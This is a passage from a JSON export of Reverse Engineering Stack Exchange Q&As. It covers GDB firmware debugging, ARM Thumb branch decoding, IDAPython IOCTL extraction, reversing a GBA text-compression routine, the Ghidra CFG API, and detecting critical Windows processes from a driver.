time.</p>\n</blockquote>\n\n<p>Although this is only a warning and the debugged program seems to execute just fine, I'm wondering if I actually need to copy some more libraries into my squashfs-root folder in order to get this clean. And if so how do I find out which libraries and where to get them? (<code>info sharedlibrary</code> didn't yield anything) </p>\n",
        "Title": "GDB: Could not load shared library symbols",
        "Tags": "|firmware|gdb|exploit|qemu|firmware-analysis|",
        "Answer": "<p>Typically when cross-debugging a remote target with GDB, you do not try to preserve debug symbols in files loaded onto the target, but rather for reasons of space use only stripped binaries there.</p>\n\n<p>Instead, you keep the versions with symbols intact (and potentially also associated sources) on your PC, and point the debugger at those.  If your files with debug symbols on the PC are the ancestors of the stripped files running on the remote target device, then the addresses match and the debugger can use those local files to lookup symbols for the addresses reported by the remote target.</p>\n\n<p>Pointing at local files with debug info is what the hints about \"set solib-search-path\" or \"set sysroot\" are suggesting to you, specifically for system libraries used by the program you are debugging.  Typically you would also invoke the debugger with a local copy of the program you want to debug, so that it can access the symbols (and perhaps even find the high level sources) of the program as well as the libraries.</p>\n\n<p>That said, this may not be all that relevant to you.</p>\n\n<p>First, debugging the internals of system libraries is rarely interesting, unless you suspect a problem there.  Rather, what is interesting is the way in which an application <em>uses</em> system libraries, ie the calls it makes and the results it gets (the same information you might get by running with <code>ltrace</code> interception)</p>\n\n<p>Because <em>dynamic link symbols</em> remain even in stripped executables, a good debugger when properly configured can decode dynamic link symbols and the Procedure Linkage Table (PLT) and identify the dynamic library functions being called, even when you have no other symbols or sources for either the system libraries or the program.</p>\n"
    },
    {
        "Id": "20882",
        "CreationDate": "2019-03-14T23:20:49.040",
        "Body": "<p>I have the instruction which is:</p>\n\n<pre><code> 5ff1aed4         bl         sub_5ff171d0  \n</code></pre>\n\n<p>which assembles to:</p>\n\n<pre><code>FCF77CF9\n</code></pre>\n\n<p>This appears to mean that the program is branching backwards, However I can't seem to find the offset it is adding onto the PC when I try to dissassemble the instruction:</p>\n\n<pre><code>OP   H  Offset\n1111 1 00101111100 // Low - 17C \n1111 0 11111111100 // High - 7FC \n</code></pre>\n\n<p>This is clearly incorrect because it increases the size of the program counter instead of decreasing it. Can anyone explain where I'm going wrong?</p>\n",
        "Title": "How is thumb branch calculated",
        "Tags": "|arm|",
        "Answer": "<p>When you assembled it, you ended up with the bytes:</p>\n\n<pre><code>FC F7 7C F9\n</code></pre>\n\n<p>This is two 16-bit little endian thumb instructions: </p>\n\n<pre><code>fc f7 = 0xf7fc = 111 10 11111111100 = BL, H=10, offset_hi=0x7fc\n7c f9 = 0xf97c = 111 11 00101111100 = BL, H=11, offset_lo=0x17c\n</code></pre>\n\n<p>For the purposes of calculating the BL's destination address, the pc is:</p>\n\n<pre><code>pc = address of first BL instruction + 4 = 0x5ff1aed8 \n</code></pre>\n\n<p>For the calculation of the destination:</p>\n\n<pre><code>dest = pc + (sign_extend(offset_hi)&lt;&lt;12) + (offset_lo&lt;&lt;1)\n     = pc + (0xfffffffc&lt;&lt;12) + (0x17c&lt;&lt;1)\n     = 0x5ff1aed8 + 0xffffc000 + 0x2f8 \n     = 0x5ff171d0 (result is only 32bits wide)\n</code></pre>\n"
    },
    {
        "Id": "20888",
        "CreationDate": "2019-03-15T16:06:36.350",
        "Body": "<p>I understand the basics of encryption and decryption, but I don't know where to go to talk to people and learn more. Are there any forums or resources to look at to learn more?</p>\n\n<p>For example, I was given two Hex strings and told that the second was modified, but originally a ~90% match of the first:</p>\n\n<p>[3E 02 2D 06 7E 31 00 00 04 2A 7E 30 00 00 04 2A] \nand\n[5A E1 78 F3 72 2C 90 D3 07 4A 10 41 49 4B 0D C4 F7 5D 9E 32 7C 01 F5]</p>\n\n<p>I know the second one is encrypted because a simple statistical analysis shows a balanced distribution of values, but I don't know the process for trying to de-encrypt it.</p>\n",
        "Title": "Where can I go to learn about decryption?",
        "Tags": "|encryption|",
        "Answer": "<p>There are two separate questions there:</p>\n\n<blockquote>\n  <p>What communities can I go to to learn more about decryption?</p>\n</blockquote>\n\n<p>Two quickly come to mind: <a href=\"https://www.reddit.com/r/crypto\" rel=\"nofollow noreferrer\">Reddit</a> and <a href=\"https://crypto.stackexchange.com\">Cryptography Stack Exchange</a>.</p>\n\n<blockquote>\n  <p>Where do I go to find people to decrypt my specific problems?</p>\n</blockquote>\n\n<p>You could try Stack Exchange, but there is also <a href=\"https://www.reddit.com/r/Decoders/\" rel=\"nofollow noreferrer\">a small community on Reddit called decoders</a> that will try to decode things if they think it's interesting.</p>\n"
    },
    {
        "Id": "20892",
        "CreationDate": "2019-03-16T08:38:51.677",
        "Body": "<p>Inspired by <a href=\"https://reverseengineering.stackexchange.com/a/18399/23069\">this answer</a> about RE-ing IOCTLs, I tried to get the IOCTLs from\n<a href=\"https://docs.microsoft.com/en-us/windows/desktop/api/winternl/nf-winternl-ntdeviceiocontrolfile\" rel=\"nofollow noreferrer\"><code>NtDeviceIoControlFile()</code></a> syscall. Here is an example of that syscall\nin <code>Beep()</code> function in <code>KernelBase.dll</code> file:</p>\n<ul>\n<li>In x86_64 (__fastcall) Assembly language:</li>\n</ul>\n\n<pre><code>and     [rsp+72], ebx                   ; OutputBufferLength\nand     [rsp+64], rbx                   ; OutputBuffer\nmov     dword ptr [rsp+56], 8           ; InputBufferLength\nlea     rax, [rsp+152]\nmov     [rsp+48], rax                   ; InputBuffer\nmov     dword ptr [rsp+40], 10000h      ; IoControlCode\nlea     rax, [rsp+78h+var_18]\nmov     [rsp+32], rax                   ; IoStatusBlock\nxor     r9d, r9d                        ; ApcContext\nxor     r8d, r8d                        ; ApcRoutine\nxor     edx, edx                        ; Event\nmov     rcx, [rsp+144]                  ; FileHandle\ncall    cs:__imp_NtDeviceIoControlFile\ntest    eax, eax\n</code></pre>\n\n<ul>\n<li>In C language:</li>\n</ul>\n\n<pre><code>NTSTATUS Status;\nStatus = NtDeviceIoControlFile(FileHandle,\n                               NULL,\n                               NULL,\n                               NULL,\n                               &amp;IoStatusBlock,\n                               0x10000u,\n                               &amp;InputBuffer,\n                               InputBufferLength,\n                               OutputBuffer,\n                               OutputBufferLength);\n</code></pre>\n\n<p>I tried this code in IDA Python to list all the cross references of that syscall:</p>\n\n<pre><code># Global arrays\nXrefList = []\n\n# Get imported function address\nFuncAddr = LocByName(&quot;__imp_NtDeviceIoControlFile&quot;)\nprint &quot;NtDeviceIoControlFile found at 0x%08x&quot; % FuncAddr\n\n# Iterate over all call references\nfor xref in XrefsTo(FuncAddr, True):\n    if xref.frm not in XrefList:\n        XrefList.append(xref.frm)\n        print &quot;xref @ 0x%08x (%s)&quot; % (xref.frm, GetFunctionName(xref.frm))\n    else:\n        continue\n</code></pre>\n\n<p>This code can successfully list all the syscall in a list. But I want to list\nall the IOCTLs values at <code>RSP+40</code> offset i.e. 6th parameter. What code should I add?\nIf you have any suggestion with IDC code I shall appreciate it as well.</p>\n\n",
        "Title": "How to get IOCTLs from all NtDeviceIoControlFile function call?",
        "Tags": "|ida|windows|idapython|",
        "Answer": "<p>After iterating some arbitrary functions in <a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/\" rel=\"nofollow noreferrer\">IDA Python docs</a>, I found a function\n<a href=\"https://www.hex-rays.com/products/ida/support/idapython_docs/ida_typeinf-module.html#get_arg_addrs\" rel=\"nofollow noreferrer\">get_arg_addrs()</a> which shows the argument I need. Here is the Python code\nthat I have appended with my question's code.</p>\n\n<pre><code># Get IOCTLs\nfor i in XrefList:\n    fifth_arg = idaapi.get_arg_addrs(i)[5]\n    ioctl = GetOpnd(fifth_arg, 1)\n    print &quot;IOCTL: %s&quot; % ioctl\n</code></pre>\n\n<p>This a for loop iterates over the <code>XrefList</code> array that had been created from previous operations.\nThen find the 5th argument and the 1st operand which is the IOCTL value.\nThis method also works with <code>DeviceIoControl()</code>. But The code has one caveat.\nIf <code>NtDeviceIoControlFile()</code> is used in some wrapper subroutine\nthen the output of above code will be the CPU register name.</p>\n\n"
    },
    {
        "Id": "20904",
        "CreationDate": "2019-03-17T17:12:13.563",
        "Body": "<p>Reposted from <a href=\"https://stackoverflow.com/questions/55209301\">StackOverflow</a> as is.</p>\n\n<p>I'm trying to decompress a very long text block from an ARMv5t powered Gameboy Advance ROM, which was compressed using some kind of custom LZ-esque compression algorithm.</p>\n\n<p>The decompression algorithm, as I understood it is as follows (someone else figured it out):</p>\n\n<pre><code>Read data in 32 bit pieces \nposition = 0\noutput = initialized buffer\nread 1 bit\n\nif (bit == 1):\n    read next 7 bits, save at current position (ASCII character)\n\nif (bit == 0):\n    read 2 bits:\n        if (bits == 00):\n            read 7 bits (X)\n            read 2 bits (Y)\n            take Y + 2 characters from (position - X) \n            write Y + 2 characters at current position to output\n            save X as save_X\n        if (bits == 01):\n            read 4 bits (X)\n            take the character at (position - X + 1) \n            write 1 character at current position to output\n        if (bits == 10):\n            read 3 bits (Y)\n            take Y characters at (position - save_X) \n            write Y characters at current position to output \n        if (bits == 11):\n            read 9 bits (X)\n            read 2 bits (Y)\n            Z = (Y + 1) * 2 + 1;\n            take Z characters at (position - X)\n            write Z characters at (position - X) to output\n</code></pre>\n\n<p><strong>My C implementation works very well for the first 157 characters</strong>, for which  [bits == 11] never happens. Then, once this write is completed, the purpose of the next 6 bits is completely unknown to me, and if I skip them, the next character will display correctly and that's about it, then it's gibberish. Also, probably of note, the source of the compressed string's first 17 bits seem to be useless zeroes, so I just did nothing with them. </p>\n\n<pre><code>typedef struct tag_input_t {\n    uint32_t data;\n    FILE* file;\n    unsigned buffer;\n    int buffer_bits;\n} input_t;\n\n\nuint32_t data = get_next_block(file);  // 32 bit block\n\ninput_t input; // input is a struct with a buffer, so that if I need to read X bits and there are only Y (Y&lt;X) bits left, I can load the next 32 bit block.\ninit_input(&amp;input, data, file); \n\nnew_read_bits(&amp;input, 17);\n\nint save_X = 0;\nint position = 0;\n\nwhile (position &lt; 256) {\n    unsigned is_char = new_read_bits(&amp;input, 1);\n    if (is_char) output[position++] = new_read_bits(&amp;input, 7);\n    else {\n        unsigned mode = new_read_bits(&amp;input, 2);\n        unsigned X, Y, Z;\n        switch (mode) {\n            case 0:\n                save_X = X = new_read_bits(&amp;input, 7);\n                Y = new_read_bits(&amp;input, 2);\n                memmove(output + position, output + position - X, Y + 2);\n                position += Y + 2;\n                break;\n            case 1:\n                X = new_read_bits(&amp;input, 4);\n                output[position] = output[position - X + 1];\n                position++;\n                break;\n            case 2:\n                Y = new_read_bits(&amp;input, 3);\n                memmove(output + position, output + position - save_X, Y + 1);\n                position += Y + 1;\n                break;\n            default: //case 3:\n                X = new_read_bits(&amp;input, 9);\n                Y = new_read_bits(&amp;input, 2);\n                Z = (Y + 1) * 2 + 1;\n                memmove(output + position, output + position - X, Z);\n                position += Z;\n                break;\n        }\n    }\n}\n</code></pre>\n\n<p>The compressed string can be found here (partial), I'm stuck at 08D0CCD0.\nKeep in mind that these values need to be read as 20006491 A023C247 etc...</p>\n\n<pre><code>91640020 47C223A0 1E698F90 79443E92 8FE4E740 31501F79 C43D0736 25F4087D 203C0FE6 C0151332 3E1190C3 02ECF3E0 09584121 DCF3A03D A7C1261D 6B430698 E6422195 41701E0F 34BF0BF4 0EECA58E 3332407C 0BE49541 0262203D DEC7E15C 08D0CCD0 3C8D1C09 7004C4C5 66EEF099\n</code></pre>\n\n<p>So if for example, we take the first 8 bytes, 91640020 and A023C247 we get this:</p>\n\n<pre><code>\u202d00100000000000000        11001001 0010001\u202c 10100000 0010001 11100001 0010001 11__\nfirst 17 are ignored     ^------- ^  ---- ^------- ^  ---- ^------- ^  ---- ^\n                             I        *    (space)      *      a         *\n\n* - results in \\0\n^ - first read bit\n\nThe result will be I. a.d.m.i.r.e. .y.o.u.r. .e.n.t.h.u.s.i.a.s.m (. is 00)\n</code></pre>\n\n<p>The routine in ASM can be found here:</p>\n\n<pre><code>[0300:0040] e92d4ff0 stmfd sp!, {r4-r11,lr}                 \n[0300:0044] e3a05008 mov r5, #0x8                           \n[0300:0048] e3a0a000 mov r10, #0x0                          \n[0300:004c] e3a0c001 mov r12, #0x1                          \n[0300:0050] ea000003 b $03000064       \n[0300:0054] e1a08003 mov r8, r3\n[0300:0058] eb00008b bl $0300028c       \n[0300:005c] e0877004 add r7, r7, r4                         \n[0300:0060] e4c07001 strb r7, [r0], #0x1                    \n[0300:0064] e25aa001 subs r10, r10, #0x1                    \n[0300:0068] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:006c] 43a0a01f movmi r10, #0x1f                       \n[0300:0070] e0966006 adds r6, r6, r6                        \n[0300:0074] 2afffff6 bcs $03000054       \n[0300:0078] e25aa001 subs r10, r10, #0x1                    \n[0300:007c] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:0080] 43a0a01f movmi r10, #0x1f                       \n[0300:0084] e0966006 adds r6, r6, r6                        \n[0300:0088] 2a00003b bcs $0300017c                          \n[0300:008c] e25aa001 subs r10, r10, #0x1                    \n[0300:0090] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:0094] 43a0a01f movmi r10, #0x1f                       \n[0300:0098] e0966006 adds r6, r6, r6                        \n[0300:009c] 3a000023 bcc $03000130\n[0300:00a0] e3a08004 mov r8, #0x4\n[0300:00a4] eb000078 bl $0300028c       \n[0300:00a8] e2577001 subs r7, r7, #0x1                      \n[0300:00ac] 0affffeb beq $03000060\n[0300:00b0] 5a00001c bpl $03000128      \n[0300:00b4] e25aa001 subs r10, r10, #0x1                    \n[0300:00b8] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:00bc] 43a0a01f movmi r10, #0x1f                       \n[0300:00c0] e0966006 adds r6, r6, r6                        \n[0300:00c4] 3a00000b bcc $030000f8                          \n[0300:00c8] e3a09f40 mov r9, #0x100                         \n[0300:00cc] e3a08008 mov r8, #0x8\n[0300:00d0] eb00006d bl $0300028c\n[0300:00d4] e4c07001 strb r7, [r0], #0x1\n[0300:00d8] e2599001 subs r9, r9, #0x1\n[0300:00dc] 1afffffa bne $030000cc\n[0300:00e0] e25aa001 subs r10, r10, #0x1\n[0300:00e4] 44916004 ldrmi r6, [r1], #0x4\n[0300:00e8] 43a0a01f movmi r10, #0x1f\n[0300:00ec] e0966006 adds r6, r6, r6\n[0300:00f0] 2afffff4 bcs $030000c8\n[0300:00f4] eaffffda b $03000064\n[0300:00f8] e3a04000 mov r4, #0x0                           \n[0300:00fc] e25aa001 subs r10, r10, #0x1                    \n[0300:0100] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:0104] 43a0a01f movmi r10, #0x1f                       \n[0300:0108] e0966006 adds r6, r6, r6                        \n[0300:010c] e2a43007 adc r3, r4, #0x7                       \n[0300:0110] e3530008 cmps r3, #0x8                          \n[0300:0114] 0affffd2 beq $03000064                          \n[0300:0118] e3a08008 mov r8, #0x8\n[0300:011C] eb00005a bl $0300028c       \n[0300:0120] e1a04007 mov r4, r7                             \n[0300:0124] eaffffce b $03000064          \n[0300:0128] e7507007 ldrb r7, [r0, -r7]                     \n[0300:012c] eaffffcb b $03000060                \n[0300:0130] e3a08007 mov r8, #0x7\n[0300:0134] eb000054 bl $0300028c       \n[0300:0138] e3570000 cmps r7, #0x0                          \n[0300:013c] 0a000006 beq $0300015c                          \n[0300:0140] e1a0c007 mov r12, r7\n[0300:0144] e3a08002 mov r8, #0x2\n[0300:0148] eb00004f bl $0300028c        \n[0300:014C] e2879002 add r9, r7, #0x2\n[0300:0150] e35c0001 cmps r12, #0x1                         \n[0300:0154] 1a000042 bne $03000264\n[0300:0158] ea000046 b $03000278\n[0300:015c] e3a08002 mov r8, #0x2\n[0300:0160] eb000049 bl $0300028c       \n[0300:0164] e3570000 cmps r7, #0x0                          \n[0300:0168] 0a000059 beq $030002d4\n[0300:016C] e2878003 add r8, r7, #0x03\n[0300:0170] eb000045 bl $0300028c       \n[0300:0174] e1a05007 mov r5, r7                             \n[0300:0178] eaffffb9 b $03000064                                                                      \n[0300:017c] e3a09001 mov r9, #0x1                           \n[0300:0180] e25aa001 subs r10, r10, #0x1                    \n[0300:0184] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:0188] 43a0a01f movmi r10, #0x1f                       \n[0300:018c] e0966006 adds r6, r6, r6                        \n[0300:0190] e0a99009 adc r9, r9, r9                         \n[0300:0194] e25aa001 subs r10, r10, #0x1                    \n[0300:0198] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:019c] 43a0a01f movmi r10, #0x1f                       \n[0300:01a0] e0966006 adds r6, r6, r6                        \n[0300:01a4] 2afffff5 bcs $03000180                          \n[0300:01a8] e3590002 cmps r9, #0x2                          \n[0300:01ac] 1a00000d bne $030001e8                          \n[0300:01b0] e3a09001 mov r9, #0x1                           \n[0300:01b4] e25aa001 subs r10, r10, #0x1                    \n[0300:01b8] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:01bc] 43a0a01f movmi r10, #0x1f                       \n[0300:01c0] e0966006 adds r6, r6, r6                        \n[0300:01c4] e0a99009 adc r9, r9, r9                         \n[0300:01c8] e25aa001 subs r10, r10, #0x1                    \n[0300:01cc] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:01d0] 43a0a01f movmi r10, #0x1f                       \n[0300:01d4] e0966006 adds r6, r6, r6                        \n[0300:01d8] 2afffff5 bcs $030001b4                          \n[0300:01dc] e35c0001 cmps r12, #0x1                         \n[0300:01e0] 1a00001f bne $03000264                          \n[0300:01e4] ea000023 b $03000278        \n[0300:01e8] e2499003 sub r9, r9, #0x3                       \n[0300:01ec] e1a08005 mov r8, r5\n[0300:01f0] eb000025 bl $0300028c        \n[0300:01f4] e087c519 add r12, r7, r9, lsl r5                \n[0300:01f8] e3a09001 mov r9, #0x1                           \n[0300:01fc] e25aa001 subs r10, r10, #0x1                    \n[0300:0200] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:0204] 43a0a01f movmi r10, #0x1f                       \n[0300:0208] e0966006 adds r6, r6, r6                        \n[0300:020c] e0a99009 adc r9, r9, r9                         \n[0300:0210] e25aa001 subs r10, r10, #0x1                    \n[0300:0214] 44916004 ldrmi r6, [r1], #0x4                   \n[0300:0218] 43a0a01f movmi r10, #0x1f                       \n[0300:021c] e0966006 adds r6, r6, r6                        \n[0300:0220] 2afffff5 bcs $030001fc                          \n[0300:0224] e35c0b40 cmps r12, #0x10000\n[0300:0228] 22899003 addcs r9, r9, #0x3                     \n[0300:022c] 2a00000c bcs $03000264                          \n[0300:0230] e59f80f0 ldr r8, [$03000328] (=$000037ff)       \n[0300:0234] e15c0008 cmps r12, r8                           \n[0300:0238] 22899002 addcs r9, r9, #0x2                     \n[0300:023c] 2a000008 bcs $03000264                          \n[0300:0240] e59f80e4 ldr r8, [$0300032c] (=$0000027f)       \n[0300:0244] e15c0008 cmps r12, r8                           \n[0300:0248] 22899001 addcs r9, r9, #0x1                     \n[0300:024c] 2a000004 bcs $03000264                          \n[0300:0250] e35c007f cmps r12, #0x7f                        \n[0300:0254] 8a000002 bhi $03000264                          \n[0300:0258] e2899004 add r9, r9, #0x4                       \n[0300:025c] e35c0001 cmps r12, #0x1                         \n[0300:0260] 0a000004 beq $03000278\n[0300:0264] e750800c ldrb r8, [r0, -r12]                    \n[0300:0268] e4c08001 strb r8, [r0], #0x1                    \n[0300:026c] e2599001 subs r9, r9, #0x1                      \n[0300:0270] 1afffffb bne $03000264                          \n[0300:0274] eaffff7a b $03000064\n[0300:0278] e750800c ldrb r8, [r0, -r12]                    \n[0300:027c] e4c08001 strb r8, [r0], #0x1                    \n[0300:0280] e2599001 subs r9, r9, #0x1                      \n[0300:0284] 1afffffc bne $0300027c                          \n[0300:0288] eaffff75 b $03000064                          \n[0300:028c] e35a0000 cmps r10, #0x0                         \n[0300:0290] 04916004 ldreq r6, [r1], #0x4                   \n[0300:0294] 03a0a020 moveq r10, #0x20                       \n[0300:0298] e1a0b008 mov r11, r8                            \n[0300:029c] e15b000a cmps r11, r10                          \n[0300:02a0] 81a0b00a movhi r11, r10                         \n[0300:02a4] e26b7020 rsb r7, r11, #0x20                     \n[0300:02a8] e1a07736 mov r7, r6, lsr r7                     \n[0300:02ac] e1a06b16 mov r6, r6, lsl r11                    \n[0300:02b0] e04aa00b sub r10, r10, r11                      \n[0300:02b4] e058800b subs r8, r8, r11                       \n[0300:02b8] 012fff1e bxeq lr                  \n[0300:02bc] e4916004 ldr r6, [r1], #0x4                     \n[0300:02c0] e268a020 rsb r10, r8, #0x20                     \n[0300:02c4] e1a0ba36 mov r11, r6, lsr r10                   \n[0300:02c8] e08b7817 add r7, r11, r7, lsl r8                \n[0300:02cc] e1a06816 mov r6, r6, lsl r8                     \n[0300:02d0] e12fff1e bx lr\n[0300:02d4] e8bd4ff0 ldmfd sp!, {r4-r11,lr}                 \n[0300:02d8] e12fff1e bx lr                         \n</code></pre>\n",
        "Title": "Reverse engineering a compression algorithm to decompress ASCII text (LZ-variant?)",
        "Tags": "|assembly|c|arm|decompress|",
        "Answer": "<p>The code isn't easy to read since one has to do that statically and it doesn't seem to respect a standard EABI.\nSo, instead of trying to fully reverse engineer the code, I tried to search for the used constants instead and saw if the code matches with something:</p>\n\n<p>It turned out the algorithm is <a href=\"https://bitsum.com/portfolio/jcalg1/\" rel=\"noreferrer\">JCALG1</a>.</p>\n\n<p>I made a <a href=\"https://gist.github.com/wisk/e7deaacba9dbea812dc9b9753f7d8ebe\" rel=\"noreferrer\">quick and <em>very</em> ugly PoC</a> from a <a href=\"https://ideone.com/nIOxwv\" rel=\"noreferrer\">code found</a> on Internet and I obtain:</p>\n\n<pre><code>I admire your enthusiasm. However, many of these fighters have been training for hundreds, evene fufuf\n</code></pre>\n\n<p>The end is corrupted, probably because end data is missing.</p>\n\n<p>You probably want to rewrite the code yourself, so keep in mind you have to perform a bswap32 (change the endianness for a 32-bit value) and it seems you don't have any signature / header (remove the +10)</p>\n"
    },
    {
        "Id": "20905",
        "CreationDate": "2019-03-17T20:28:24.097",
        "Body": "<p>Lately I'm using Ghidra and I don't find the API to get the control flow graph of a given function. Can someone help me?</p>\n\n<p>Thank you in advance.</p>\n\n<p>EDIT: it is different from the other question (<a href=\"https://reverseengineering.stackexchange.com/questions/20791\">link</a>) because I'm asking for the API.</p>\n",
        "Title": "Ghidra Control Flow Graph",
        "Tags": "|api|control-flow-graph|ghidra|",
        "Answer": "<p>I'm looking for the same thing and for now I found the class PcodeSyntaxTree having a method called getBasicBlocks(), which returns an array of PcodeBlockBasic elements. This second class has methods like getIn and getOut which retrieve incoming and outgoing nodes (basic blocks), respectively. So I think using this methods should be the interface for interacting with the CFG programmatically. But sadly I didn't figure out yet how to get this PcodeSyntaxTree object, but will continue investigating.</p>\n\n<p>I hope this can help you a bit!</p>\n\n<p>links:\n<a href=\"http://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeSyntaxTree.html\" rel=\"noreferrer\">http://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeSyntaxTree.html</a>\n<a href=\"http://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeBlockBasic.html\" rel=\"noreferrer\">http://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeBlockBasic.html</a></p>\n\n<p>PS.: Other thing you can do is to study the code of calculateCyclomaticComplexity\u200b method, which uses this BasickBlock models, I think I will probably do that.</p>\n\n<p>EDIT:\ngood news I think. I found the DecompleResults class, having the method getHighFunction() which returns a HighFunction object. HighFunction class extends to PcodeSyntaxTree, so it has also the getBasicBlocks method. From that point you can go on.</p>\n\n<p>DecompileResults class is contained in ghidra.app.decompiler, as well as DecompInterface, which has the decompileFunction() method that returns a DecompileResults object.</p>\n\n<p>From <a href=\"https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Decompiler/src/main/java/ghidra/app/decompiler/DecompInterface.java\" rel=\"noreferrer\">https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Decompiler/src/main/java/ghidra/app/decompiler/DecompInterface.java</a> :</p>\n\n<pre><code>// Make calls to the decompiler: \n// *   DecompileResults res = ifc.decompileFunction(func,0,taskmonitor);\n</code></pre>\n\n<p>links:\n<a href=\"https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Decompiler/src/main/java/ghidra/app/decompiler/DecompInterface.java\" rel=\"noreferrer\">https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Decompiler/src/main/java/ghidra/app/decompiler/DecompInterface.java</a></p>\n\n<p><a href=\"https://ghidra.re/ghidra_docs/api/ghidra/app/decompiler/DecompileResults.html\" rel=\"noreferrer\">https://ghidra.re/ghidra_docs/api/ghidra/app/decompiler/DecompileResults.html</a>\n<a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/HighFunction.html\" rel=\"noreferrer\">https://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/HighFunction.html</a></p>\n\n<p>EDIT 2:</p>\n\n<p>I can imagine something like this (in python api):</p>\n\n<pre><code>import ghidra.app.decompiler as decomp\n\ninterface = decomp.DecompInterface()\n\n# decompileFunction(function, timeout, monitor)\n# according to documentation, function is a Function object, timeout is int,\n# and monitor is an OPTIONAL ARGUMENT of TaskMonitor type. \n# However, it doesn't say anything about a default value for this argument \n# and omitting the arg in the call falls in an error.\n\nresults = interface.decompileFunction(func, 0, taskMonitor)\nhf = results.getHighFunction()\n\nbbList = hf.getBasicBlocks()\n\n# ...\n# ...\n# ...\n\n</code></pre>\n"
    },
    {
        "Id": "20915",
        "CreationDate": "2019-03-19T08:33:17.727",
        "Body": "<p>I'v examine the assembly output in Windows of basic singleton implementation of using static variable to be initialized with new class instance from static function. </p>\n\n<p>to my surprise, although the class has process-wide scope, the inner implementation uses access to TLS.</p>\n\n<pre><code>myClass::getInstance()\n{\n    static v = new myClass();\n    return v; \n}\n</code></pre>\n\n<p>and the assembly output (the first relevant lines) : </p>\n\n<pre><code>push    rdi\nsub     rsp, 40h\nmov     rdi, rsp\nmov     ecx, 10h\nmov     eax, 0CCCCCCCCh\nrep stosd\nmov     [rsp+48h+var_18], 0FFFFFFFFFFFFFFFEh\nmov     eax, 4\nmov     eax, eax\nmov     ecx, cs:_tls_index\nmov     rdx, gs:58h\nmov     rcx, [rdx+rcx*8]\n</code></pre>\n\n<p>Perhaps anybody can provide some insights about why this is needed (maybe performance) ? </p>\n\n<p>thanks </p>\n",
        "Title": "Startdard singleton class implementation generate access to TLS memory",
        "Tags": "|windows|c++|",
        "Answer": "<p>It's generated by the <a href=\"https://docs.microsoft.com/en-us/cpp/build/reference/zc-threadsafeinit-thread-safe-local-static-initialization\" rel=\"nofollow noreferrer\">thread-safe local static initialization</a> feature.</p>\n\n<blockquote>\n  <p>Thread-safe static local variables use thread-local storage (TLS) internally to provide efficient execution when the static has already been initialized.</p>\n</blockquote>\n\n<p>See <a href=\"http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2008/n2660.htm\" rel=\"nofollow noreferrer\">here</a> for the original proposal.</p>\n"
    },
    {
        "Id": "20932",
        "CreationDate": "2019-03-20T14:59:10.430",
        "Body": "<p>I've got a driver that tamper user-space processes by sending APC calls upon process start using the call <code>PsSetCreateProcessNotifyRoutine</code>.</p>\n\n<p>I wish to avoid tampering with any process that is critical for the OS stability, since my APC also eventually decides to kill the process. </p>\n\n<p>So far I've used <code>PsIsProtectedProcess</code> and <code>PsIsProtectedProcessLight</code> in order to detect protected processes. </p>\n\n<p>However, it appears that there are some processes such as <code>smss.exe</code> and <code>crss.exe</code> and <code>wininit.exe</code> that are defined as critical processes and I also wish to avoid them. </p>\n\n<p>Perhaps anybody knows that difference between protected and critical process, and how can I detect critical process programmatically  from kernel-mode (maybe it has ad-hoc field in EPROCESS ? ) </p>\n\n<p>thanks,</p>\n",
        "Title": "Detecting protected processes and critical processes from windows driver",
        "Tags": "|windows|windbg|process|",
        "Answer": "<p>It seems the correct term is <em>Critical System Service</em>. There are <a href=\"https://docs.microsoft.com/en-us/windows/desktop/rstmgr/critical-system-services\" rel=\"noreferrer\">API from userland</a> but I can't find anything for the kernel. So I took a quick look into the RstrtMgr.dll and it seems the list is actually hardcoded...</p>\n\n<p>For the processes:</p>\n\n<ul>\n<li>system32\\csrss.exe</li>\n<li>system32\\smss.exe</li>\n<li>system32\\lsass.exe</li>\n<li>system32\\wininit.exe</li>\n<li>system32\\logonui.exe</li>\n<li>system32\\services.exe</li>\n<li>system32\\winlogon.exe</li>\n</ul>\n\n<p>For the services (specific case for svchost.exe):</p>\n\n<ul>\n<li>BrokerInfrastructure</li>\n<li>DcomLaunch</li>\n<li>LSM</li>\n<li>Power</li>\n<li>RpcEptMapper</li>\n<li>RpcSs</li>\n<li>SamSs</li>\n</ul>\n\n<p>There is probably another way to achieve that. After all, Windows BSOD if one of these processes is killed.</p>\n\n<p>Edit: It seems <code>nt!EPROCESS::BreakOnTermination</code> is what you're looking for.\nThe <em>real</em> field is <code>nt!EPROCESS::Flags</code> and the mask 0x2000.\nIf this bit is set, <code>PspExitThread</code> will BSOD with <code>CRITICAL_PROCESS_DIED</code>.</p>\n"
    },
    {
        "Id": "20935",
        "CreationDate": "2019-03-20T21:57:53.043",
